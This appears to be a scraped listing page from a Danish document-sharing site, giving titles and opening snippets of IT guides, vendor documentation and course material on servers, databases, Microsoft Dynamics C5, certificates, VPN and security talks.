ISA Server 2006 Del 5. Jesper Hanno Hansen Jphan@wmdata.dk ISA Server 2006 Del 5 Jesper Hanno Hansen Jphan@wmdata.dk Agenda Overblik over sessionen Konfigurerer RDP publisering Konfigurerer Exchange Access (OWA, RPC http og EAS) Næste Webcast Overblik over sessionen

Læs mere

Databaseadgang fra Java

Databaseadgang fra Java Databaseadgang fra Java Grundlæggende Programmering med Projekt Peter Sestoft Fredag 2007-11-23 Relationsdatabasesystemer Der er mange databaseservere Microsoft Access del af Microsoft Office MySQL god,

Læs mere

For nogle statuskoder vil der komme en klar tekst besked, mens der for andre vil komme en fire cifret kode, som angivet i afsnit 2

For nogle statuskoder vil der komme en klar tekst besked, mens der for andre vil komme en fire cifret kode, som angivet i afsnit 2 1 Statuskoder i forbindelse med en transaktion I forbindelse med en transaktion, vil Sagem Solo terminalen vise en statuskode/statusbesked i ekspedientterminalens display. Endvidere vil der blive udskrevet

Læs mere

Database. lv/

Database. lv/ Database 1 Database Design Begreber 1 Database: En fælles samling af logiske relaterede data (informationer) DBMS (database management system) Et SW system der gør det muligt at definer, oprette og vedligeholde

Læs mere

Citrix CSP og Certificate Store Provider

Citrix CSP og Certificate Store Provider Project Name Document Title TDC Citrix Citrix og Certificate Store Provider Version Number 1.0 Status Release Author jkj Date 5-10-2006 Trademarks All brand names and product names are trademarks or registered

Læs mere

Backup Applikation. Microsoft Dynamics C5 Version 2008. Sikkerhedskopiering

Backup Applikation. Microsoft Dynamics C5 Version 2008. Sikkerhedskopiering Backup Applikation Microsoft Dynamics C5 Version 2008 Sikkerhedskopiering Indhold Sikkerhedskopiering... 3 Hvad bliver sikkerhedskopieret... 3 Microsoft Dynamics C5 Native database... 3 Microsoft SQL Server

Læs mere

Microsoft Dynamics C5. version 2012 Service Pack 01 Hot fix Fix list - Payroll

Microsoft Dynamics C5. version 2012 Service Pack 01 Hot fix Fix list - Payroll Microsoft Dynamics C5 version 2012 Service Pack 01 Hot fix 001 4.4.01.001 Fix list - Payroll CONTENTS Introduction... 3 Payroll... 3 Corrected elements in version 4.4.01.001... 4 Microsoft Dynamics C5

Læs mere

Webside score digitalenvelopes.

Webside score digitalenvelopes. Webside score digitalenvelopes.email Genereret November 01 2015 11:45 AM Scoren er 59/100 SEO Indhold Titel digitalenvelopes.email Encrypted Webmail Længde : 42 Perfekt, din titel indeholder mellem 10

Læs mere

HACKERNE BLIVER BEDRE, SYSTEMERNE BLIVER MERE KOMPLEKSE OG PLATFORMENE FORSVINDER HAR VI TABT KAMPEN? MARTIN POVELSEN - KMD

HACKERNE BLIVER BEDRE, SYSTEMERNE BLIVER MERE KOMPLEKSE OG PLATFORMENE FORSVINDER HAR VI TABT KAMPEN? MARTIN POVELSEN - KMD HACKERNE BLIVER BEDRE, SYSTEMERNE BLIVER MERE KOMPLEKSE OG PLATFORMENE FORSVINDER HAR VI TABT KAMPEN? MARTIN POVELSEN - KMD HVILKEN BIL VIL DU HELST KØRE GALT I? Bemærk at brug og antal Bemærk at brug

Læs mere

Hvordan vælger jeg dokumentprofilen?

Hvordan vælger jeg dokumentprofilen? Hvordan vælger jeg dokumentprofilen? Valget af OIOUBL profil i en konkret dokumentudveksling vil bl.a. afhænge af, hvilke OIOUBL profiler den anden part i udvekslingen understøtter. Et konkret eksempel

Læs mere

FairSSL Fair priser fair support

FairSSL Fair priser fair support Microsoft IIS 6 Certifikat administration Følgende vejledning beskriver hvordan man installere et certifikat på en IIS 6 For support og hjælp til anvendelsen af denne vejledning kan du kontakte FairSSL

Læs mere

Sikker kode? Gennemgang af mest almindelige hacker angreb

Sikker kode? Gennemgang af mest almindelige hacker angreb Sikker kode? Gennemgang af mest almindelige hacker angreb Developer & Platform Strategy Microsoft http://blogs.msdn.com/henrikwh henrikwh@microsoft.com Agenda Sikkerhed i medierne Trusselssenarier Mest

Læs mere

WINDCHILL THE NEXT STEPS

WINDCHILL THE NEXT STEPS WINDCHILL THE NEXT STEPS PTC/user, 4. marts 2015 Jens Christian Jensen, Econocap Agenda Windchill the next steps Bliv opdateret og inspireret til at se hvor Windchill kan hjælpe dig med andet end blot

Læs mere

Web- og serverprogrammering

Web- og serverprogrammering Web- og serverprogrammering Arkitekturer i webprogrammer - dag 6 Model-View-Controller-arkitukturen Flerlags-arkitekturer Læsning: WJSP 10 Dette materiale er under Åben Dokumentlicens, se http://www.sslug.dk/linuxbog/licens.html

Læs mere

Tredjepart webservices

Tredjepart webservices Tredjepart webservices 4. juni 2015 USS Dok. Klik her for at angive tekst. 1/12 Indholdsfortegnelse Introduktion... 3 Miljøer... 3 Adgang... 3 API kald... 4 GET: /authorizations... 4 Input 4 Output 4 Output

Læs mere

FairSSL Fair priser fair support

FairSSL Fair priser fair support Small Business Server 2003 Certifikat administration Følgende vejledning beskriver hvordan man vælger hvilke adresser der skal være i ens SBS 2003 SSL certifikat. For support og hjælp til anvendelsen af

Læs mere

Vejledning til at tjekke om du har sat manuel IP på din computer.

Vejledning til at tjekke om du har sat manuel IP på din computer. Indhold Vejledning til at, komme på nettet. (DANSK)... 2 Gælder alle systemer.... 2 Vejledning til at tjekke om du har sat manuel IP på din computer.... 2 Windows 7... 2 Windows Vista... 2 Windows XP...

Læs mere

Unitel EDI MT940 June 2010. Based on: SWIFT Standards - Category 9 MT940 Customer Statement Message (January 2004)

Unitel EDI MT940 June 2010. Based on: SWIFT Standards - Category 9 MT940 Customer Statement Message (January 2004) Unitel EDI MT940 June 2010 Based on: SWIFT Standards - Category 9 MT940 Customer Statement Message (January 2004) Contents 1. Introduction...3 2. General...3 3. Description of the MT940 message...3 3.1.

Læs mere

Overfør fritvalgskonto til pension

Overfør fritvalgskonto til pension Microsoft Development Center Copenhagen, January 2009 Løn Microsoft Dynamics C52008 SP1 Overfør fritvalgskonto til pension Contents Ønsker man at overføre fritvalgskonto til Pension... 3 Brug af lønart

Læs mere

Kom i gang med SAS STPbaserede

Kom i gang med SAS STPbaserede make connections share ideas be inspired Kom i gang med SAS STPbaserede webapplikationer Lars L. Andersson Chefkonsulent Webapplikationer Interaktion med serverbaserede data via skærmbilleder leveret gennem

Læs mere

DK - Quick Text Translation. HEYYER Net Promoter System Magento extension

DK - Quick Text Translation. HEYYER Net Promoter System Magento extension DK - Quick Text Translation HEYYER Net Promoter System Magento extension Version 1.0 15-11-2013 HEYYER / Email Templates Invitation Email Template Invitation Email English Dansk Title Invitation Email

Læs mere

1.1 Formål Webservicen gør det muligt for eksterne parter, at fremsøge informationer om elevers fravær.

1.1 Formål Webservicen gør det muligt for eksterne parter, at fremsøge informationer om elevers fravær. EfterUddannelse.dk FraværService - systemdokumentation BRUGERDOKUMENTATION: WEB-SERVICE Af: Logica Indhold 1. Indledning... 1 1.1 Formål... 1 1.2 Webservice version... 1 1.3 Historik... 1 2. Absence Webservice...

Læs mere

BACK-END OG DATA: ADMINISTRATION HVAD ER DE NYE MULIGHEDER MED VERSION 7.1? STEFFEN BILLE RANNES, 4. FEBRUAR 2015

BACK-END OG DATA: ADMINISTRATION HVAD ER DE NYE MULIGHEDER MED VERSION 7.1? STEFFEN BILLE RANNES, 4. FEBRUAR 2015 BACK-END OG DATA: ADMINISTRATION HVAD ER DE NYE MULIGHEDER MED VERSION 7.1? STEFFEN BILLE RANNES, 4. FEBRUAR 2015 SAS VISUAL ANALYTICS 7.1 ADMINISTRATOR Mulighed for at udføre handlinger på flere servere

Læs mere

Sortering fra A-Z. Henrik Dorf Chefkonsulent SAS Institute

Sortering fra A-Z. Henrik Dorf Chefkonsulent SAS Institute Sortering fra A-Z Henrik Dorf Chefkonsulent SAS Institute Hvorfor ikke sortering fra A-Å? Det er for svært Hvorfor ikke sortering fra A-Å? Hvorfor ikke sortering fra A-Å? Hvorfor ikke sortering fra A-Å?

Læs mere

Shooting tethered med Canon EOS-D i Capture One Pro. Shooting tethered i Capture One Pro 6.4 & 7.0 på MAC OS-X 10.7.5 & 10.8

Shooting tethered med Canon EOS-D i Capture One Pro. Shooting tethered i Capture One Pro 6.4 & 7.0 på MAC OS-X 10.7.5 & 10.8 Shooting tethered med Canon EOS-D i Capture One Pro Shooting tethered i Capture One Pro 6.4 & 7.0 på MAC OS-X 10.7.5 & 10.8 For Canon EOS-D ejere der fotograferer Shooting tethered med EOS-Utility eller

Læs mere

Google App Engine. Google App Engine som platform. Claus Myglegaard Vagner og Jacob von Eyben

Google App Engine. Google App Engine som platform. Claus Myglegaard Vagner og Jacob von Eyben GoogleAppEngine GoogleAppEnginesomplatform ClausMyglegaardVagnerogJacobvonEyben Abstract CloudcomputingerenteknologidervinderfremidengenerelleITinfrastruktur. SocialemediersåsomLinkedIn,TwitterogFacebookharøgetbehovetfor

Læs mere

PHP 3 UGERS FORLØB PHP, MYSQL & SQL

PHP 3 UGERS FORLØB PHP, MYSQL & SQL PHP 3 UGERS FORLØB PHP, MYSQL & SQL Uge 1 & 2 Det basale: Det primære mål efter uge 1 og 2, er at få forståelse for hvordan AMP miljøet fungerer i praksis, og hvordan man bruger PHP kodesproget til at

Læs mere

Transformering af OIOXML til OIOUBL og OIOUBL til OIOXML

Transformering af OIOXML til OIOUBL og OIOUBL til OIOXML Microsoft Development Center Copenhagen, July 2010 OIOXML / OIOUBL Microsoft Dynamics C5 Transformering af OIOXML til OIOUBL og OIOUBL til OIOXML Indledning Indledning... 3 Anvendelse af værktøjet... 3

Læs mere

Digital post Snitflader Bilag A5 - REST HTTP returkoder Version 6.3

Digital post Snitflader Bilag A5 - REST HTTP returkoder Version 6.3 Digital post Snitflader Bilag A5 - REST HTTP returkoder Version 6.3 1 Indholdsfortegnelse INDHOLDSFORTEGNELSE 2 A5.1 INTRODUKTION 4 A5.2 HTTP RETURKODER 4 A5.3 DIGITAL POST FEJLKODER 7 A5.3.1 DIGITAL POST

Læs mere

Vores mange brugere på musskema.dk er rigtig gode til at komme med kvalificerede ønsker og behov.

Vores mange brugere på musskema.dk er rigtig gode til at komme med kvalificerede ønsker og behov. På dansk/in Danish: Aarhus d. 10. januar 2013/ the 10 th of January 2013 Kære alle Chefer i MUS-regi! Vores mange brugere på musskema.dk er rigtig gode til at komme med kvalificerede ønsker og behov. Og

Læs mere

Microsoft Dynamics C5. Nyheder Kreditorbetalinger

Microsoft Dynamics C5. Nyheder Kreditorbetalinger Microsoft Dynamics C5 Nyheder Kreditorbetalinger INDHOLDSFORTEGNELSE Indledning... 3 Uddybning af ændringer... 4 Forbedring vedr. betalings-id er... 4 Ændringer i betalingsmåder (kreditorbetalinger)...

Læs mere

Terese B. Thomsen 1.semester Formidling, projektarbejde og webdesign ITU DMD d. 02/11-2012

Terese B. Thomsen 1.semester Formidling, projektarbejde og webdesign ITU DMD d. 02/11-2012 Server side Programming Wedesign Forelæsning #8 Recap PHP 1. Development Concept Design Coding Testing 2. Social Media Sharing, Images, Videos, Location etc Integrates with your websites 3. Widgets extend

Læs mere

Design til digitale kommunikationsplatforme-f2013

Design til digitale kommunikationsplatforme-f2013 E-travellbook Design til digitale kommunikationsplatforme-f2013 ITU 22.05.2013 Dreamers Lana Grunwald - svetlana.grunwald@gmail.com Iya Murash-Millo - iyam@itu.dk Hiwa Mansurbeg - hiwm@itu.dk Jørgen K.

Læs mere

Userguide. NN Markedsdata. for. Microsoft Dynamics CRM 2011. v. 1.0

Userguide. NN Markedsdata. for. Microsoft Dynamics CRM 2011. v. 1.0 Userguide NN Markedsdata for Microsoft Dynamics CRM 2011 v. 1.0 NN Markedsdata www. Introduction Navne & Numre Web Services for Microsoft Dynamics CRM hereafter termed NN-DynCRM enable integration to Microsoft

Læs mere

Design Diaries.

Design Diaries. Design Diaries http://blog.lykkeeilert.dk/ Patricia Gambula Larsen Patrick Lykke Eilert Ninette Andersen cph-pl130@cphbusiness.dk cph-pe58@cphbusiness.dk cph-na96@cphbusiness.dk INDHOLD Use case model

Læs mere

Affaldsdatasystem Vejledning supplement i system-til-system integration for.net brugere

Affaldsdatasystem Vejledning supplement i system-til-system integration for.net brugere Affaldsdatasystem Vejledning supplement i system-til-system integration for.net brugere Dokument version: 2.0 ADS version: 1.0 Henvendelse vedrørende affald: Miljøstyrelsen Roskilde, Affaldssekretariatet

Læs mere

Indberetning af afregninger teknik

Indberetning af afregninger teknik Indberetning af afregninger teknik Teknik Overblik Dataformatet Lister Oprettelse af test adgang Sikkerhed Eksempel på afregning Titel 2 Overblik over systemer Opkøber Blanket løsning PO-Organisation Opkøber

Læs mere

Fra idé til virkelig med Azure Mobile Services

Fra idé til virkelig med Azure Mobile Services Fra idé til virkelig med Azure Mobile Services Niels Ladegaard Beck Holion nlb@holion.dk @nielslbeck Windows Developers in Denmark Azure App Service Mobile App Introduktion til Azure Mobile Services Platform

Læs mere

DKAL Snitflader REST HTTP returkoder

DKAL Snitflader REST HTTP returkoder DKAL Snitflader REST HTTP returkoder 1 Indholdsfortegnelse INDHOLDSFORTEGNELSE 2 A5.1 INTRODUKTION 3 A5.2 HTTP RETURKODER 3 A5.3 DKAL FEJLKODER 6 A5.3.1 DKAL XML FEJLFORMAT 7 Bilag A5: REST HTTP returkoder

Læs mere

Snitfladedokumentation til fagsystemer v 1.1

Snitfladedokumentation til fagsystemer v 1.1 MEMO Produced by: Peter Ravnholt 1. INDLEDNING... 2 SIKKERHED... 2 2. ÆNDRINGSLOG... 3 VERSION 1.1... 3 3. EKSEMPELSCENARIE... 3 UDFYLD ET NYT SPØRGESKEMA... 3 4. SERVICE CONTRACTS... 5 GETQUESTIONNAIREDEFINITIONLIST...

Læs mere

IPTV Box (MAG250/254) Bruger Manual

IPTV Box (MAG250/254) Bruger Manual IPTV Box (MAG250/254) Bruger Manual Når din STB (Set top Box) starter op, bliver der vist en pop up boks på skærmen, hvor du kan åbne EPG ved at trykke på F2 (Nogle bokse kan fortælle at den har brug for

Læs mere

Computer Networks Specielt om Infrastrukturer og Teknologi

Computer Networks Specielt om Infrastrukturer og Teknologi Computer Networks Specielt om Infrastrukturer og Teknologi Ole Borch Slide 1 Doc Bud på arkitektur (som mange andre steder) Sygehus Hemmelig Meget hemmelig WWW browser WWW Server Dataplejer Staklen Internet

Læs mere

ATEX direktivet. Vedligeholdelse af ATEX certifikater mv. Steen Christensen stec@teknologisk.dk www.atexdirektivet.

ATEX direktivet. Vedligeholdelse af ATEX certifikater mv. Steen Christensen stec@teknologisk.dk www.atexdirektivet. ATEX direktivet Vedligeholdelse af ATEX certifikater mv. Steen Christensen stec@teknologisk.dk www.atexdirektivet.dk tlf: 7220 2693 Vedligeholdelse af Certifikater / tekniske dossier / overensstemmelseserklæringen.

Læs mere

Kald af PingService via SOAPUI

Kald af PingService via SOAPUI Kald af PingService via SOAPUI Author: Integration Expert Team (IET) Owner: Integration Expert Team (IET) Page 1 of 24 1. Dokumenthistorik Kald af PingService via SOAPUI Revisioner Dato for denne version:

Læs mere

Servlets, Tomcat & BlueJ

Servlets, Tomcat & BlueJ Servlets, Tomcat & BlueJ Tutorial lavet af Jákup W. Hansen TSU 2006 3.semester 05.october 2007 Hvad er Servlets: For at forstå det, må vi først få styr på to begreber, nemlig statiske og dynamiske hjemmesider

Læs mere

Da beskrivelserne i danzig Profile Specification ikke er fuldt færdige, foreslås:

Da beskrivelserne i danzig Profile Specification ikke er fuldt færdige, foreslås: NOTAT 6. juni 2007 J.nr.: 331-3 LEA Bilag A danzig-møde 15.6.2007 Opdatering af DAN-1 og danzig Profile Specification Forslag til opdatering af Z39.50 specifikationerne efter udgivelse af Praksisregler

Læs mere

Maskindirektivet og Remote Access. Arbejdstilsynet Dau konference 2015 Arbejdsmiljøfagligt Center Erik Lund Lauridsen

Maskindirektivet og Remote Access. Arbejdstilsynet Dau konference 2015 Arbejdsmiljøfagligt Center Erik Lund Lauridsen Maskindirektivet og Remote Access Arbejdstilsynet Dau konference 2015 Arbejdsmiljøfagligt Center Erik Lund Lauridsen ell@at.dk Marts 2015 1 MD - Personsikkerhed og Remoten Hvad er spillepladen for personsikkerhed

Læs mere

NT PDC Udarbejdet af Kenneth Dalbjerg

NT PDC Udarbejdet af Kenneth Dalbjerg NT PDC Udarbejdet af Kenneth Dalbjerg Titelblad Denne rapport er udarbejdet af Kenneth Dalbjerg, med det formål at lære noget omkring, NT PDC Server. Side 2 af 13 Indholdsfortegnelse Forside Titelblad

Læs mere

Microsoft Development Center Copenhagen, June Løn. Ændring

Microsoft Development Center Copenhagen, June Løn. Ændring Microsoft Development Center Copenhagen, June 2010 Løn Microsoft Dynamics C5 20100 Ændring af satser r på DA-Barsel Contents Nye satser på DA-barsefra DA-Barsel...... 3 Brev 6 2 Nye satser på DA-barsel

Læs mere

VPN VEJLEDNING TIL MAC

VPN VEJLEDNING TIL MAC VPN VEJLEDNING TIL MAC MAC OS X 1 VPN VEJLEDNING TIL MAC Formålet med en VPN forbindelse er, at du kan tilgå nogle af Aarhus Universitets services hjemmefra, som ellers kun er tilgængelige, når du er på

Læs mere

User guide - For testing SFTP and HTTP/S data communication

User guide - For testing SFTP and HTTP/S data communication User guide - For testing SFTP and HTTP/S data communication with Nets Danmark A/S P. 1-9 Index General information... 3 Introduction... 3 Rights... 3 Limitations... 3 Prerequisites... 3 Preparations...

Læs mere

Informationsteknologi Personlig identifikation ISO-overensstemmende kørekort Del 3: Adgangskontrol, autentificering og validering af integritet

Informationsteknologi Personlig identifikation ISO-overensstemmende kørekort Del 3: Adgangskontrol, autentificering og validering af integritet Dansk standard Rettelsesblad DS/ISO/IEC 18013-3/Cor 2 1. udgave 2013-12-06 Informationsteknologi Personlig identifikation ISO-overensstemmende kørekort Del 3: Adgangskontrol, autentificering og validering

Læs mere

Installation og brug af DMUs VPN klient Installation and use of DMU s VPN client

Installation og brug af DMUs VPN klient Installation and use of DMU s VPN client Installation og brug af DMUs VPN klient Installation and use of DMU s VPN client Bernhard Fabricius, IT-afdelingen Version 0.1, 2009-05-23 Tilmelding For at få adgang til VPN klienten skal der udfyldes

Læs mere

Hosted Exchange. Setup guide for e-mail clients & mobile devices. Date: 2014-06-02. Version: 15. Author: SBJ/ANB. Target Level: Customer

Hosted Exchange. Setup guide for e-mail clients & mobile devices. Date: 2014-06-02. Version: 15. Author: SBJ/ANB. Target Level: Customer Hosted Exchange Setup guide for e-mail clients & mobile devices Date: 2014-06-02 Version: 15 Author: SBJ/ANB Target Level: Customer Target Audience: End User Language: en-us Page 1 of 42 LEGAL INFORMATION

Læs mere

Aktivering af Survey funktionalitet

Aktivering af Survey funktionalitet Surveys i REDCap REDCap gør det muligt at eksponere ét eller flere instrumenter som et survey (spørgeskema) som derefter kan udfyldes direkte af patienten eller forsøgspersonen over internettet. Dette

Læs mere

how to save excel as pdf

how to save excel as pdf 1 how to save excel as pdf This guide will show you how to save your Excel workbook as PDF files. Before you do so, you may want to copy several sheets from several documents into one document. To do so,

Læs mere

Ethereal Intro && Ethereal HTTP. René Hansen Anders Bjerg Pedersen Michael Nilou Hold 1 September 12, 2007

Ethereal Intro && Ethereal HTTP. René Hansen Anders Bjerg Pedersen Michael Nilou Hold 1 September 12, 2007 Ethereal Intro && Ethereal HTTP René Hansen Anders Bjerg Pedersen Michael Nilou Hold 1 September 12, 2007 1 Indledning Denne opgave går ud på at anvende programmet Wireshark til at analysere trafik over

Læs mere

Hvor er mine runde hjørner?

Hvor er mine runde hjørner? Hvor er mine runde hjørner? Ofte møder vi fortvivlelse blandt kunder, når de ser deres nye flotte site i deres browser og indser, at det ser anderledes ud, i forhold til det design, de godkendte i starten

Læs mere

Webside score templatedownload.org

Webside score templatedownload.org Webside score templatedownload.org Genereret Oktober 18 2015 05:21 AM Scoren er 43/100 SEO Indhold Titel FREE Template Download Længde : 22 Perfekt, din titel indeholder mellem 10 og 70 bogstaver. Beskrivelse

Læs mere

Website review groweasy.dk

Website review groweasy.dk Website review groweasy.dk Generated on September 01 2016 10:32 AM The score is 56/100 SEO Content Title Webbureau Odense GrowEasy hjælper dig med digital markedsføring! Length : 66 Perfect, your title

Læs mere

MySQL i Java. Tutorial lavet af Jákup W. Hansen TSU 2006 2.semester 05.januar 2007

MySQL i Java. Tutorial lavet af Jákup W. Hansen TSU 2006 2.semester 05.januar 2007 MySQL i Java Tutorial lavet af Jákup W. Hansen TSU 2006 2.semester 05.januar 2007 Hvad er MySQL? Det er et database system, som er gratis for os at bruge. Det er lidt mere besværligt i starten at bruge

Læs mere

Hosted Exchange. Setup guide for e-mail clients & mobile devices. Date: 2011-09-13. Version: 15. Author: SBJ/ANB. Target Level: Customer

Hosted Exchange. Setup guide for e-mail clients & mobile devices. Date: 2011-09-13. Version: 15. Author: SBJ/ANB. Target Level: Customer Hosted Exchange Setup guide for e-mail clients & mobile devices Date: 2011-09-13 Version: 15 Author: SBJ/ANB Target Level: Customer Target Audience: End User Language: en-us Page 1 of 35 LEGAL INFORMATION

Læs mere

Fjernadgang til BEC s systemer via Portal2

Fjernadgang til BEC s systemer via Portal2 Fjernadgang til BEC s systemer via Portal2 - tilgå applikationer og arbejdsplads via webbaseret portal (UAG) Udarbejdet af: Niklas Petersen Gældende fra: 24-08-2015 Version Forfatter Dato Dokumentstatus

Læs mere

Godkendelsesdato Version Rettet af Rettelse(r)

Godkendelsesdato Version Rettet af Rettelse(r) REST/SOAP Services Referenceimplementation Godkendelsesdato Version Rettet af Rettelse(r) 17/6-2010 1.0 Stefan L. Jensen 1 Indhold 1. Indledning... 3 2. Visual Studio solution... 3 3. Konfiguration...

Læs mere

Netværk & elektronik

Netværk & elektronik Netværk & elektronik Oversigt Ethernet og IP teori Montering af Siteplayer modul Siteplayer teori Siteplayer forbindelse HTML Router (port forwarding!) Projekter Lkaa Mercantec 2009 1 Ethernet På Mars

Læs mere

GUIDE TIL BREVSKRIVNING

GUIDE TIL BREVSKRIVNING GUIDE TIL BREVSKRIVNING APPELBREVE Formålet med at skrive et appelbrev er at få modtageren til at overholde menneskerettighederne. Det er en god idé at lægge vægt på modtagerens forpligtelser over for

Læs mere

ODBC made easy på dansk (når bare man ved hvordan) Jesper Michelsen, Data warehouse & Analyse

ODBC made easy på dansk (når bare man ved hvordan) Jesper Michelsen, Data warehouse & Analyse ODBC made easy på dansk (når bare man ved hvordan) Jesper Michelsen, Data warehouse & Analyse Agenda Præsentation Hvad er ODBC? ODBC Datakildeadministrator System-DSN Distribution Fil-DSN Scriptede connections

Læs mere

Byg din informationsarkitektur ud fra en velafprøvet forståelsesramme The Open Group Architecture Framework (TOGAF)

Byg din informationsarkitektur ud fra en velafprøvet forståelsesramme The Open Group Architecture Framework (TOGAF) Byg din informationsarkitektur ud fra en velafprøvet forståelsesramme The Open Group Framework (TOGAF) Otto Madsen Director of Enterprise Agenda TOGAF og informationsarkitektur på 30 min 1. Introduktion

Læs mere

Hosted CRM Outlook client connector setup guide. Date: Version: 1. Author: anb. Target Level: Customer. Target Audience: End User

Hosted CRM Outlook client connector setup guide. Date: Version: 1. Author: anb. Target Level: Customer. Target Audience: End User Hosted CRM 2011 Outlook client connector setup guide Date: 2011-09-08 Version: 1 Author: anb Target Level: Customer Target Audience: End User Language: da-dk Page 1 of 19 LEGAL INFORMATION Copyright 2011

Læs mere

Boligsøgning / Search for accommodation!

Boligsøgning / Search for accommodation! Boligsøgning / Search for accommodation! For at guide dig frem til den rigtige vejledning, skal du lige svare på et par spørgsmål: To make sure you are using the correct guide for applying you must answer

Læs mere

Præsentation af BSK regionens identity and access management platform

Præsentation af BSK regionens identity and access management platform Regionshuset It digital forvaltning BSK programmet Olof Palmens alle 17 Kontakt@regionmidtjylland.dk www.regionmidtjylland.dk Præsentation af BSK regionens identity and access management platform BrugerStamdataKataloget

Læs mere

Interne og eksterne trusler Sådan håndterer vi trusler fra remote access/ad-hoc adgange fra medarbejdere og leverandører

Interne og eksterne trusler Sådan håndterer vi trusler fra remote access/ad-hoc adgange fra medarbejdere og leverandører Interne og eksterne trusler Sådan håndterer vi trusler fra remote access/ad-hoc adgange fra medarbejdere og leverandører Ken Willén Security Business Manager Ezenta Agenda og afgrænsning Interne og eksterne

Læs mere

Sikkerhed i trådløst netværk

Sikkerhed i trådløst netværk Sikkerhed i trådløst netværk Når du opsætter et trådløst netværk betyder det at du kan benytte dit netværk uden at være forbundet med kabler, men det betyder også at andre kan gøre det samme, hvis du ikke

Læs mere

Brug sømbrættet til at lave sjove figurer. Lav fx: Få de andre til at gætte, hvad du har lavet. Use the nail board to make funny shapes.

Brug sømbrættet til at lave sjove figurer. Lav fx: Få de andre til at gætte, hvad du har lavet. Use the nail board to make funny shapes. Brug sømbrættet til at lave sjove figurer. Lav f: Et dannebrogsflag Et hus med tag, vinduer og dør En fugl En bil En blomst Få de andre til at gætte, hvad du har lavet. Use the nail board to make funn

Læs mere

Praktisk kryptering i praksis

Praktisk kryptering i praksis Praktisk kryptering i praksis Jakob I. Pagter Security Lab Alexandra Instituttet A/S Alexandra Instituttet A/S Almennyttig anvendelsorienteret forskning fokus på IT GTS Godkendt Teknologisk Service (1

Læs mere

SOSIGW. - Administrationskonsol for SOSIGW 1.0.6. Indeks

SOSIGW. - Administrationskonsol for SOSIGW 1.0.6. Indeks SOSIGW - Administrationskonsol for SOSIGW 1.0.6 Indeks Indeks... 1 Revisionshistorik... 2 Introduktion... 2 Administrationskonsollen... 2 Generel brug af konsollen... 3 Fremsøgning af ID-kort... 3 Søgning

Læs mere

SPECIALTRYKKERIETS KUNDE WEBPORTAL KOM GODT I GANG

SPECIALTRYKKERIETS KUNDE WEBPORTAL KOM GODT I GANG SPECIALTRYKKERIETS KUNDE WEBPORTAL KOM GODT I GANG Jeg håber du får fornøjelse af vores nye værktøj. WebApproval skal gøre det nemmere og mere sikkert for dig at godkende din tryksager. Har du spørgsmål,

Læs mere

Webkorpora: Yahoo API og perl

Webkorpora: Yahoo API og perl Webkorpora: Yahoo API og perl Jakob Halskov jh.id@cbs.dk Ph.d.-studerende Terminologi og korpuslingvistik den 21. februar 2006 1. Hvad er et API? 2. Hent din egen udviklernøgle! 3. Gennemgang af koden

Læs mere

Identity Access Management

Identity Access Management Identity Access Management Traditionel tilgang til Identity & Access Governance-projekter, udfordringer og muligheder Alex Sinvani ais@dubex.dk Dubex A/S Formålet Opbygge en god konceptuel baggrund for

Læs mere

Smartair 6.0. Installations guide

Smartair 6.0. Installations guide Smartair 6.0 Installations guide Indholdsfortegnelse 1 Indledning... 4 2 System Oversigt... 4 3 Installation... 5 3.1 System Krav... 5 3.2 Klargøring af installationen... 5 3.3 Afinstallere tidligere TS1000

Læs mere

Processer og tråde. dopsys 1

Processer og tråde. dopsys 1 Processer og tråde dopsys 1 Motivation.. parallelle processer udnytter hardwaren bedre: Batch operativsystemer (50 erne) hhv. små systemer: Multiprogrammering og time-sharing (fra 60 erne og frem): dopsys

Læs mere

Oversættelse til dansk af APERAK. Application Error and Acknowledgement Message. Dank EDI Message Implementation Guide

Oversættelse til dansk af APERAK. Application Error and Acknowledgement Message. Dank EDI Message Implementation Guide Oversættelse til dansk af APERAK Application Error and Acknowledgement Message Dank EDI Message Implementation Guide Status: Dansk oversættelse Version: 3 Release: 1 Dato: Januar 2009 Indledning og generelle

Læs mere

Instruktioner i installation og afinstallation af Windows PostScript- og PCLprinterdrivere

Instruktioner i installation og afinstallation af Windows PostScript- og PCLprinterdrivere Instruktioner i installation og afinstallation af Windows PostScript- og PCLprinterdrivere version 8 Denne fil med vigtige oplysninger indeholder en vejledning til installation af Custom PostScript- og

Læs mere

ODIN-webservice ændringer release 2010 v2.0

ODIN-webservice ændringer release 2010 v2.0 DOKUMENTATION OG VEJLEDNING ODIN-webservice ændringer release 2010 v2.0 Indholdsfortegnelse 1. Nye webservice metoder... 2 1.1 Anvendelse af køretøjer og personel fra fremmede beredskaber ifm. indberetning

Læs mere

OpenTele datamonitoreringsplatform

OpenTele datamonitoreringsplatform OpenTele datamonitoreringsplatform Systemdokumentation for OpenTele server- og klient 1. maj 2013 Side 1 af 13 Indholdsfortegnelse Indholdsfortegnelse... 2 Indledning... 3 Systemoverblik... 3 OpenTele

Læs mere

JSP, Tomcat. Tutorial lavet af Jákup W. Hansen TSU semester 10.october 2007

JSP, Tomcat. Tutorial lavet af Jákup W. Hansen TSU semester 10.october 2007 JSP, Tomcat Tutorial lavet af Jákup W. Hansen TSU 2006 3.semester 10.october 2007 Hvad er JSP(Java Server Pages): Det er en teknik som er bygget ovenover Servlets teknikken, men fidusen er at det skal

Læs mere

Opsætning af MobilePBX med Kalenderdatabase

Opsætning af MobilePBX med Kalenderdatabase Opsætning af MobilePBX med Kalenderdatabase Dette dokument beskriver hvorledes der installeres Symprex Exchange Connector og SQL Server Express for at MobilePBX kan benytte kalenderadadgang via database

Læs mere

PGP tutorial og keysigning workshop

PGP tutorial og keysigning workshop Velkommen til PGP tutorial og keysigning workshop The Camp - Juli 2005 Henrik Lund Kramshøj hlk@security6.net http://www.security6.net og Flemming Jacobsen fj@batmule.dk c copyright 2005 Security6.net,

Læs mere

Øvelse 9. Klasser, objekter og sql-tabeller insert code here

Øvelse 9. Klasser, objekter og sql-tabeller insert code here Øvelse 9. Klasser, objekter og sql-tabeller Denne opgave handler om hvordan man opbevarer data fra databasekald på en struktureret måde. Den skal samtidig give jer erfaringer med objekter, der kommer til

Læs mere

Sikkerhed i applikationsudvikling

Sikkerhed i applikationsudvikling Sikkerhed i applikationsudvikling 9/6/2012 1 Indehold Hvem Cybercom Hvem er Hvor galt kan det gå med sikkerheds sårbarheder i applikations udvikling: Royal bank of Scotland eksempel Hvad kan man gøre ved

Læs mere

Microsoft Dynamics CRM 2011 (CRM2011) From a Technical point of view

